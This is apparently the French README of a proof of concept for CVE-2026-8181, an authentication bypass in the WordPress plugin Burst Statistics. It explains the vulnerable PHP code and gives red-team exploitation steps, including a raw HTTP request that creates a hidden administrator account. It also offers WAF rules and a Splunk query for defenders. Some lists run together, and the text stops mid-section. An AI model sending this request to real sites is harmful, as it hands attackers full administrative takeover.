PoC Python pour CVE-2026-8181, un contournement critique de l'authentification dans le plugin WordPress Burst Statistics. Inclut l'automatisation de l'exploitation, l'analyse en masse et la création de comptes administrateur pour des tests de sécurité autorisés.
[!CAUTION] ALERTE CRITIQUE : cette vulnérabilité permet à un attaquant distant non authentifié de contourner l'authentification et d'obtenir la totalité des privilèges d'administrateur sur le site WordPress cible en injectant simplement un en-tête HTTP personnalisé. Cette CVE fait actuellement l'objet d'une exploitation active dans la nature.
CVE-2026-8181 est une vulnérabilité critique de contournement de l'authentification affectant le plugin WordPress Burst Statistics (versions 3.4.0 à 3.4.1.1). Le défaut se situe dans l'intégration du proxy MainWP du plugin. En raison d'une validation inadéquate des mots de passe d'application lors du hook plugins_loaded exécuté trop tôt, le plugin accorde à tort un contexte administratif aux requêtes de l'API REST qui incluent l'en-tête X-BurstMainWP: 1, même si la requête est dépourvue d'identifiants valides.
Cela transforme une simple requête HTTP non authentifiée en une prise de contrôle administrative complète, contournant tous les mécanismes d'authentification standard de WordPress.
Pour comprendre comment un simple en-tête offre les clés du royaume, nous devons disséquer la logique PHP du gestionnaire d'authentification du plugin.
La vulnérabilité provient d'une branche conditionnelle mal gérée dans includes/Frontend/class-mainwp-proxy.php, au sein de la méthode is_mainwp_authenticated().
init() sur plugins_loaded avec la priorité 9. C'est trop tôt dans le cycle de vie de WordPress.X-BurstMainWP: 1, has_admin_access() délègue l'authentification à is_mainwp_authenticated().Authorization et transmet les identifiants à wp_authenticate_application_password() du noyau WordPress.application_password_is_api_request sur true (en raison de l'exécution précoce du hook), la fonction du noyau renvoie null au lieu d'un objet WP_Error.is_wp_error( $user ). Comme null n'est pas un WP_Error, la garde est franchie.wp_set_current_user() avec le nom d'utilisateur fourni par l'attaquant, élevant instantanément la requête à un contexte administrateur complet.// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
Cette section est destinée aux Red Teamers et aux testeurs d'intrusion autorisés.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. Si elle est bloquée, utilisez l'astuce des archives d'auteur : /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null défectueuse et élève la requête au contexte administrateur. Le nouvel utilisateur administrateur est créé.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Avertissement environnemental : cet exploit nécessite que l'en-tête
Authorizationatteigne PHP.
- Nginx / LiteSpeed / Apache avec permaliens personnalisés (Pretty Permalinks) : l'en-tête est transmis. L'exploit RÉUSSIT.
- Apache avec permaliens simples (par défaut) : l'en-tête est silencieusement supprimé par le serveur web. L'exploit ÉCHOUE.
Cette section est destinée aux Blue Teamers, aux analystes SOC et aux administrateurs système.
Bloquez ou surveillez l'en-tête spécifique en périphérie du réseau.
Règle ModSecurity / OWASP CRS :
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Règle personnalisée Cloudflare WAF :
(http.request.headers["X-BurstMainWP"] eq "1")
Recherchez dans les journaux de votre serveur web la présence de l'en-tête combinée à une création d'utilisateurs via l'API REST.
Requête Splunk / ELK :
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
Si vous suspectez une intrusion, recherchez ces artefacts post-exploitation :